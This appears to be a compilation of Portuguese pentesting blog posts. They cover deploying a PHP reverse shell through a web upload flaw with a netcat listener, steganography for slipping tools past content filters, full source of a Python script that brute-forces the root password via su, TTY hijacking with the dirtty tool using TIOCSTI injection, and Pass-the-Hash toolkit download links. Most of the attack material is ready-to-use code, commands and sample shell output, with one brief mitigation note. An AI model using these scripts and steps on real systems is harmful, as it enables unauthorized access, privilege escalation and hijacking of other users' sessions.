PHP-Reverse-Shell

Esta ferramenta criada em PHP, foi criada para ocasiões durante um pentest onde você consegue encontrar uma falha em uma aplicação Web ou Servidor Web que roda PHP. Imagine que neste pentest que os únicos mount points que você consegue utilizar estejam como noexec, sendo assim o envio de um script pre-compilado, como por exemplo uma backdoor em C, não sejam úteis. Neste caso você precisa de um script de alguma linguagem que ja esteja pre-instalada e executando no servidor alvo, como é o caso do Perl ou do PHP.

Para utilizar esta ferramenta basta fazer o upload da mesma em qualquer lugar do WebRoot e acessá-la via browser. Fazendo isto ela ira abrir um canal de comunicação TCP através de uma porta e estabelecerá uma Shell Interativa para que você possa acessar o console do servidor.

Download

php-reverse-shell-1.0.tar.gz

MD5sum:2bdf99cee7b302afdc45d1d51ac7e373

SHA1sum: 30a26d5b5e30d819679e0d1eb44e46814892a4ee

Let’s Hack it :)

Modificando o Source

Para prevenir que qualquer um abuse de sua backdoor enquanto você a utiliza é necessário modificar o source code para indicar em qual host você irá fazer o Reverse ConnectBack. Para isto basta editar as linhas a seguir:

$ip = '127.0.0.1';  // MUDE AQUI $port = 1234;       // MUDE AQUI

Pronto para receber uma Shell Reversa

Inicie um TCP Listener no host o qual você enviará a shell. É obvio que você deve utilizar a mesma porta que setou no script php. (1234 no nosso exemplo):

$ nc -v -n -l -p 1234

Enviando e Executando

Usando qualquer vulnerabilidade que você descobriu no Website, faça upload do php-reverse-shell.php. Execute o Script simplesmente acessando com o Browser o URL onde você colocou o script. Você não irá ver nenhum output na no browser, sendo assim não se assuste.

http://target/php-reverse-shell.php

Aproveite a Shell Nova

Se tudo correr bem e você fez tudo corrretamente o web server vai retornar uma Shell em sua porta TCP no Netcat. Alguns comandos úteis como uname -a, w, id e pwd serão executados automaticamente para você:

$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
 16:59:28 up 39 days, 19:54,  2 users,  load average: 0.18, 0.13, 0.10
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root   :0        19May07 ?xdm?   5:10m  0.01s /bin/sh
uid=81(apache) gid=81(apache) groups=81(apache)
sh: no job control in this shell
sh-3.2$

Abaixo segue um videozinho mostrando a execução do php-reverse-shell.

Qualquer Egress Filtering irá prevenir você de utilizar este tipo de backdoor, desta forma você deve procurar uma porta que seja possível fazer walkthrough no firewall. As portas mais comuns são:

– 80/tcp, 443/tcp e 53/tcp

A execução desta backdoor geraria algo suspeito se o Admin executasse um “ps”?

SIM, este script é muito simples então ele não faz nenhum hook() no sistema :

apache   28106  0.0  0.0  10428  1216 ?        S    17:15   0:00 sh -c uname -a; w; id; /bin/sh -i
apache   28110  0.0  0.0  10172  1428 ?        S    17:15   0:00 /bin/sh -i

Espero que tenham gostado.

Good Hacking 4 All.

OpenStego: Utilizando Esteganografia em Pentests

Esteganografia é o estudo e uso das técnicas para ocultar a existência de uma mensagem dentro de outra.

É importante frisar a diferença entre a esteganografia e a criptografia. Enquanto a primeira oculta a existência da mensagem, a segunda oculta o significado da mensagem. Muitas vezes as duas são utilizadas em conjunto.

Um exemplo básico de técnica moderna de esteganografia é a alteração do bit menos significativo de cada pixel de uma imagem colorida de forma a que ele corresponda a um bit da mensagem. Essa técnica, apesar de não ser ideal, pouco afeta o resultado final de visualização da imagem.

A esteganografia possui algumas aplicações práticas interessantes. Ela é uma das técnicas utilizadas para implementar mecanismos de verificação de direitos autorais em imagens e outras mídias. Além disso, pode ser utilizada para a divulgação de mensagens sem o conhecimento da existência dessas mensagens por parte de outros interessados.

Uma das maiores utilizações da esteganografia dentro de um pentest é de fazer bypass em sistemas de Egress Filtering e Content Filters. Um Content filter afiado pode causar diversos problemas durante um pentest seja para enviar backdoors, Exploits ou programas. Utilizando imagens para esconder suas tools, a chance de conseguir êxito é muito grande.

Muitas técnicas modernas possibilitam esconder textos e imagens dentro de outras imagens:

A forma mais utilizada emprega a técnica denominada LSB (Least Significant Bit) que consite em utilizar o bit menos significativo de cada pixel (cada cor) da imagem, pra ocultar a mensagem.

OpenStego

O OpenStego é uma ferramenta implementada em Java para esteganografia genérica, com suporte a criptografia baseada em uma password para os dados. Ele suporta vários plugins para diversos algoritmos de esteganografia (atualmente, somente o Least Significante Bit é suportado para imagens).

Abaixo algumas imagens da ferramenta

embeddata.jpg

Codificando os dados.

screenshot.jpg

Decodificando dados.

A partir da versão 4.1 ele acompanha uma batch em command line.

Site do Projeto: http://sourceforge.net/projects/openstego

Local Root BruteForcer

rootbrute.py é uma ferramenta escrita em Python com a finalidade de efetuar um ataque de brute-force local em sistemas
Linux utilizando-se do comando /bin/su. Utilizando um ataque de dicionário pode-se testar diversas senhas de root.

A ferramenta é simples e abaixo segue o Source-code da mesma.

Quando pode ser utilizada: Esta ferramenta consiste em um ataque de elevação de privilégios e pode ser utilizada em um pentest
após ganhar acesso ao Shell do sistema. Poder ser muito útil em ocasiões onde não existem outras falhas locais para serem exploradas
para Privilege Scalation (Falhas no Kernel por ex).

[+]————–Cut Here—————–[+]

#!/usr/bin/python
#Local Root BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys
try:
import pexpect
except(ImportError):
print “\nYou need the pexpect module.”
print “http://www.noah.org/wiki/Pexpect\n”
sys.exit(1)

#Change this if needed.
LOGIN_ERROR = ‘su: incorrect password’

def brute(word):
print “Trying:”,word
child = pexpect.spawn (‘su’)
child.expect (‘Password: ‘)
child.sendline (word)
i = child.expect ([‘.+\s#\s’,LOGIN_ERROR])
if i == 0:
print “\n\t[!] Root Password:”,word
child.sendline (‘whoami’)
print child.before
child.interact()
#if i == 1:
#print “Incorrect Password”

if len(sys.argv) != 2:
print “\nUsage : ./rootbrute.py <wordlist>”
print “Eg: ./rootbrute.py words.txt\n”
sys.exit(1)

try:
words = open(sys.argv[1], “r”).readlines()
except(IOError):
print “\nError: Check your wordlist path\n”
sys.exit(1)

print “\n[+] Loaded:”,len(words),”words”
print “[+] BruteForcing…\n”
for word in words:
brute(word.replace(“\n”,””))

[+]————–Cut Here—————–[+]

Workaround: Para evitar que este ataque seja efetuado em suas Box Linux deve-se ter um controle de acesso em relação aos usuários os quais
podem utilizar do comando su. O ideal é criar um grupo, por exemplo “Admin”, e que somente os usuários participantes deste grupo possam utilizar o su.

Isto seria um workaround simples, porém, se uma conta pertencente ao grupo “Admin” for comprometida, este tipo de medida torna-se totalmente ineficiente.

TTY Hijacking in Linux

TTY Hijack é um ataque direcionado a sessões estabelecidas no servidor alvo. O ataque consiste em sequestrar a sessão do usuário (local ou remoto) e utiliza-la para diversos fins. Durante o ataque, todos os comandos inseridos em seu Data Session aberto pelo hijacker será lançado automaticamente no tty/pts atacado, fazendo com que os comandos executados por você, sejam na verdade executados pelo tty alvo, e com as credenciais do usuário OWNER do tty alvo.

Para este ataque é preciso ter privilégio de root no sistema comprometido uma vez que o ataque utiliza-se de um open() no /dev para criar um hook na sessão que você irá sniffar.

Neste exemplo irei utilizar como PoC (Proof-of-Concept) uma ferramenta bem antiga do teso-team chamada dirtty. Esta tool é simples e atende as necessidades básicas de um tty hijack que é inserir comandos em um tty remoto ou local.

Download: dirtty.c

Para compilar basta utilizar : $ gcc dirtty.c -o dirtty

# ./dirtty
err: usage: ./dirtty </dev/ttyXY>

Para executar é so passar a string que é o tty que você deseja sequestrar. Abaixo segue um videozinho que eu fiz mostrando como seria este ataque no mundo real.

Esta técnica pode ser amplamente utilizada, basta utilizar a imaginação.

Como Funciona

open(“/dev/tty1”, O_WRONLY) = 3 #Abre o dispositivo /dev/tty1 em Write Only

ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo …}) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo …}) = 0
ioctl(0, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig -icanon -echo …}) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig -icanon -echo …}) = 0
read(0, “i”, 1) = 1
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f13000
write(1, “i”, 1i) = 1 #Envia caracter por caracter

ioctl(3, TIOCSTI, “i”) = 0
read(0, “d”, 1) = 1
write(1, “d”, 1d) = 1
ioctl(3, TIOCSTI, “d”) = 0
Good Hacking for all.

Book of Month – March

001.jpg

Hacking: The Art of Exploitation
Author: Jon Erickson
Publisher: No Starch Press
Year: 2007
Pages: 504
Amazon’s book description: Hacking is the art of creative problem solving, whether that means finding an unconventional solution to a difficult problem or exploiting holes in sloppy programming. Many people call themselves hackers, but few have the strong technical foundation needed to really push the envelope. Rather than merely showing how to run existing exploits, author Jon Erickson explains how arcane hacking techniques actually work. To share the art and science of hacking in a way that is accessible to everyone, Hacking: The Art of Exploitation, 2nd Edition introduces the fundamentals of C programming from a hacker’s perspective.

Pass-The-Hash toolkit v1.3

Pass-The-Hash on Windows, a little history

Back in 2000, I wrote the paper “Modifying Windows NT Logon Credentials” (available here) describing how to implement the ‘pass-the-hash’ technique inWindows, back then the attack was only being implemented using a modified SAMBA client, and the functionality implemented in SAMBA at that time was more limited compared to what is available today . I was unable to public the tool and the code, but if you remember someone demonstrating the attack using a tool, that was probably my code (or not, I don’t know, who cares :)).

http://oss.coresecurity.com/pshtoolkit/doc/index.html

SOURCE CODE:

http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3-src.tgz

BINARIES:

http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3.tgz